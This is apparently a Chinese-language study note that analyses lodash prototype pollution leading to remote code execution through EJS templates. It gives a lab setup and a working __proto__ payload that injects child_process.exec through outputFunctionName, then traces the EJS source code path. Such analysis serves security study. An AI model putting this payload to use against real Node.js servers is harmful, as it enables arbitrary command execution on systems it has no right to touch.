看了师傅《再探 JavaScript 原型链污染到 RCE》,之前没接触过,试着手动去分析一遍。
环境搭建:
npm install ejs
npm install [email protected]
npm install express
test.js
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置
app.set('views', __dirname);
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("./test.ejs",{
message: 'lufei test '
});
});
//设置http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
test.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
打印了It works !
从sink->source分析。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
每个 JavaScript 函数实际上都是一个 Function 对象。运行 (function(){}).constructor === Function 便可以得到这个结论。
FUNCTION demo
var person = {
age:3
}
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
return 1*a*this.age
即为functionBody,可以执行我们的代码。
来看下ejs的触发点
首先在下断点exec
ejs.js
只需要找到src如何控制了。
从sink往source溯
可以看见是来源于
prepended + this.source + appended
发现很多都来源于opt对象
在追溯一下opt对象
由于我们可以污染未赋值的对象,所以这里使用对象.属性
进行赋值的时候,就是源了。这里可以看到有三个红框里面,变量都没有进行赋值的,就可以进行污染。
之前的上文的代码就是污染了opts.outputFunctionName
,从而弹出计算器。
这里会调用opts.localsName,如果进行污染,会有问题
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
由于是数组,好像不太好污染。
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
https://xz.aliyun.com/t/7025
https://hackerone.com/reports/310443
https://juejin.im/post/5c30abae51882525ec2000e9